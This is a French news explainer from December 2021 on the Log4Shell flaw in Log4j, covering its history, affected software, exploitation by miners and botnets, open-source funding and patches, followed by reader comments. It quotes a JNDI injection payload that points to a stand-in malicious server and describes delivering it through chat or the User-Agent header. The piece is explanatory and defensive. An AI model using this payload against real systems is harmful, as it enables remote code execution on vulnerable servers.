Qu'est-ce que Log4Shell, la vulnérabilité qui enflamme Internet ?

Fanny Dufour
Publié le 17 décembre 2021 à 13h26
Log4j

Depuis plusieurs jours, Internet s’agite autour d’une vulnérabilité dans Log4j, un programme inconnu du grand public et pourtant utilisé dans un nombre très important de logiciels et applications web. Pourquoi cette faille est-elle si significative ? On vous explique.

Qu'est-ce que Log4Shell ?

Depuis le 9 décembre, une vulnérabilité critique est au centre de toutes les conversations dans les milieux spécialisés : désormais appelée Log4Shell, elle est présente dans Log4j, un outil couramment utilisé dans les applications Java pour logger des activités et des erreurs. Ce programme est développé et maintenu par des volontaires de l’Apache Software Foundation, ce qui explique son adoption massive.

La faille, désignée comme « CVE-2021-44228 », a obtenu un score CVSS de 10, la note maximale. Ce score élevé de sévérité s’explique par le fait qu’elle est triviale à exploiter, puisqu’il suffit d’une seule ligne : en plaçant une instruction simple type « ${jndi:ldap://serveur-malveillant/ressource} » à un endroit où cette donnée sera loggée par Log4j (par exemple un formulaire), l'attaquant force une connexion à son serveur via JNDI pour récupérer et exécuter la ressource indiquée, souvent un script. De cette manière, il peut exécuter du code à distance et faire ce qu’il souhaite sur le serveur vulnérable. Marcus Hutchins, aussi connu sous le pseudonyme de MalwareTech, a publié une vidéo pour démontrer la vulnérabilité.

Parmi les exemples plus médiatisés de l’utilisation de cette faille, on peut citer celle qui a touché Minecraft. Écrire l'instruction en question dans un chat Minecraft suffit à exécuter du code à distance sur le serveur, mais aussi sur les ordinateurs des joueurs présents sur le serveur. Une autre illustration touche au header User-Agent, qui permet de savoir entre autres à partir de quel navigateur et quel système d’exploitation l’utilisateur visite le site, et dont le contenu est souvent loggé par un serveur web. En modifiant ce header pour qu’il affiche l’instruction au lieu des informations habituelles, cette instruction sera « interprétée » par Log4j au moment de son écriture dans un log, ce qui permet d’obtenir un accès à un serveur web vulnérable.

Cybersécurité

Depuis quand la vulnérabilité est-elle connue ?

Cette vulnérabilité existe depuis au moins septembre 2013 dans Log4j. En 2016, une présentation durant l'événement Black Hat 2016 illustrait les possibilités d’exécution de code à distance en utilisant JNDI, possibilités qui s’appliquaient à Log4j. On ne sait pas si les volontaires étaient au courant de l’existence de la vulnérabilité à ce moment-là, mais toujours est-il qu’elle n'avait pas été patchée à l’époque.

Dans le cas qui nous intéresse, la vulnérabilité a été dévoilée à Apache le 24 novembre par Chen Zhaojun, d’Alibaba Cloud. Le 8 décembre, le chercheur alertait les volontaires sur le fait qu'un utilisateur anonyme avait dévoilé sur une plateforme de blogs chinoise les détails de la vulnérabilité. Le 9 décembre, un chercheur a publié sur Twitter une description de la vulnérabilité et un exemple de son exploitation. Si c’est à partir de ce moment-là que son exploitation massive a commencé, Cloudflare et Cisco ont indiqué avoir vu des exemples de son utilisation par des attaquants les 1er et 2 décembre, sans qu’on sache comment certains acteurs ont eu connaissance de son existence.

Qui est touché par Log4Shell ?

Concrètement, sont touchés par cette faille toutes les applications et tous les logiciels utilisant Log4j dans une version allant de 2.0 à 2.14.1. Une liste complète est difficile à établir mais des bases de données commencent à recenser les logiciels et vendeurs vulnérables ou non. BleepingComputer maintient également une liste de son côté. Parmi les marques et programmes connus et confirmés comme étant vulnérables, on peut signaler Minecraft, Apple, Tesla, Steam, Twitter, Redis, ElasticSearch et, évidemment, Apache.

La Cybersecurity and Infrastructure Security Agency (CISA) a prévenu que plusieurs centaines de millions de systèmes sont possiblement vulnérables.

Si vous n'avez pas un bonnet, des mitaines et des écrans avec du code vert sur fond noir, vous n'êtes pas un vrai pirate

Par qui est exploitée cette vulnérabilité ?

Dès que la vulnérabilité et la manière de l’exploiter ont été rendues publiques, des pirates ont saisi l'opportunité pour partir à la recherche de serveurs vulnérables. Certains d'entre eux ont commencé à infecter des serveurs avec des mineurs de cryptomonnaies. Les pirates derrière Kinsing, par exemple, utilisent la vulnérabilité pour lancer des scripts qui suppriment les malwares de leurs compétiteurs et installent le leur pour miner des cryptomonnaies. Comme rapporté par Netlab 360, les botnets Mirai et Muhstik sont aussi de la partie. Microsoft a de son côté indiqué avoir aperçu des attaquants déployer des balises Cobalt Strike, souvent utilisées par des pirates pour installer des ransomwares.

La vulnérabilité est également utilisée pour exfiltrer des données contenues dans des variables d’environnement, comme des clés secrètes. Pour le moment, aucun ransomware n’a encore été déployé à l’aide de cette faille. Mais pour la plupart des chercheurs, cela ne saurait tarder.  

Si le projet est open source, pourquoi personne ne s’en est rendu compte avant ?

Il est souvent dit que les projets open source sont plus sécurisés car, leur code source étant public, tout le monde peut l’inspecter et trouver des vulnérabilités. En pratique, certains projets open source utilisés massivement comme Log4j ne sont maintenus que par quelques volontaires bénévoles, la plupart des entreprises se contentant de les utiliser dans leurs produits sans spécialement participer au projet lui-même.

Pour Log4j, six volontaires bénévoles étaient chargés de sa maintenance sur leur temps libre. Personne n’était donc dessus à temps plein, ce qui explique qu’une faille de ce genre a pu passer inaperçue et pourquoi il a fallu aux développeurs plusieurs jours pour sortir un patch pour la corriger.

Cette situation n’est pas inédite : en 2014, la faille critique Heartbleed était le résultat d’une contribution d’un développeur bénévole au projet OpenSSL qui avait été validée alors qu’elle contenait une erreur au niveau d’une validation. A l’époque, cette faille avait mis en lumière le manque de moyens et de contributeurs des projets open source et les conséquences de ce manque, surtout pour les contributions qui sont massivement utilisées. Plusieurs grandes entreprises avaient formé un projet de financement, la Core Infrastructure Initiative, censée aider à financer les projets open source importants. Cependant, comme le montre Log4Shell, la situation reste encore précaire pour beaucoup de ces projets, et des vulnérabilités importantes continuent de découler de ce manque critique de moyens et de volontaires.

Y a-t-il des moyens de corriger cette vulnérabilité ?

La vulnérabilité a été corrigée dans la version 2.15.0 de Log4j, mais il est plus prudent de télécharger la version 2.16.0, qui désactive complètement JNDI par défaut. Plusieurs mitigations possibles ont été partagées dans le cas où une mise à jour serait compliquée, comme un « vaccin » développé par les chercheurs de Cybereason qui fournit une solution temporaire en utilisant lui-même la faille pour procéder à des modifications à distance.

Du côté des utilisateurs, il n’y a pas grand-chose de plus à faire qu’attendre et faire les mises à jour des logiciels vulnérables lorsqu’elles sont disponibles. Minecraft, par exemple, a procédé à un correctif et fournit un guide pour les personnes hébergeant leur propre serveur.

Dois-je mettre le feu à mon ordinateur ?

Non, pas encore, même s'il n'y a pas de doute sur le fait que la faille est l'une des plus importantes des dernières années et qu'on ne connait pas encore toutes les conséquences de son existence. En revanche, faire attention à son utilisation d’Internet et de logiciels ainsi que se protéger avec des logiciels de sécurité reste toujours une bonne idée.

Par Fanny Dufour

Arrivée dans la rédaction par le jeu vidéo, c’est par passion pour le développement web que je me suis intéressée plus largement à tout ce qui gravite autour de notre consommation des outils numériques, des problématiques de vie privée au logiciel libre en passant par la sécurité. Fan inconditionnelle de science-fiction toujours prête à expliquer pendant des heures pourquoi Babylon 5 est ma série préférée.

Vous êtes un utilisateur de Google Actualités ou de WhatsApp ?
Suivez-nous pour ne rien rater de l'actu tech !
Commentaires (0)
Rejoignez la communauté Clubic
Rejoignez la communauté des passionnés de nouvelles technologies. Venez partager votre passion et débattre de l’actualité avec nos membres qui s’entraident et partagent leur expertise quotidiennement.
Commentaires (10)
orionb1

et bien, situation de crise, j’espère que tout le monde est occupé à patcher en ce moment

Zimt

Pour résumer c’est ça :

zekkawa

L’OSS c’est surtout beaucoup de dev qui sont dégoutés par leur boulot et qui cherchent a se faire plaisir (et aussi a se faire connaitre) et qui passent leurs soirees a développer de l’OSS.
Les grandes boites ne leur filent pas un centime et utilisent le fruit de leur travaille de passionné en tout légalité.
Le sponsoring commence a changer les choses mais nous sommes TRES LOIN d’une situation juste.

norwy

Merci pour l’article. Ce qui est effrayant c’est qu’il peut y en avoir encore quelques unes comme ça qui sont exploitées dans le plus grand secret depuis des années, ni vu ni connu.

Un vrai parc d’attraction pour hackers et autres agences…

Zimt

C’est tout à fait ça.

Stavroguine

Excellent ! :smiley:

Titanee

Une base de donnée des applications vulnérable en mode plus digeste pour les yeux est disponible ici: https://github.com/cisagov/log4j-affected-db

Vous pouvez tester la vulnérabilité de vos applications à l’aide de ce script Python sur github: https://github.com/fullhunt/log4j-scan

Vous pouvez chercher dans vos logs des traces d’exploitations à l’aide des informations données par l’ANSSI ainsi que d’autres conseils et recommendations : [MaJ] Vulnérabilité dans Apache Log4j – CERT-FR

Attention, l’attaque évolue et si vous avez un IPS et/ou un WAF mettez bien à jour avec les derniers patterns de detection an attendant de pouvoir faire le nécessaire pour fixer vos applications utilisant Log4j.

Mon équipe et moi on est crevé mais au moins il y a de l’action :slight_smile:

Bon courage à ceux qui subissent, c’est le feu depuis 1 semaine maintenant sur internet.

ld9474

Je veux pas mettre d’huile sur le feu mais c’est un problème Java… Les applications .Net ne sont pas impactées… Ok je sors. Bon courage à ceux qui bossent dessus.

Titanee

Presque que Java dû a sa présence prédominante un peu partout mais d’autres langages comme Scala, Groovy ou Clojure peuvent aussi être impactés car Apache Log4j existent aussi pour eux.

C’est important de bien regarder ce qu’on a et ne pas s’arrêter à Java mais bel et bien chercher Log4j, ce qui est toute la difficulté de cette vulnérabilité.

Très peu (je n’en ai vue aucune de mon vivant) de CMDB contiennent la liste des librairies utilisées pour une application donnée, encore moins avec la version de la librairie et encore moins quand c’est un soft propriétaire qu’on achète…

ar-s
  • Comment ça va ?
  • Java moyen j’avoue :smiley: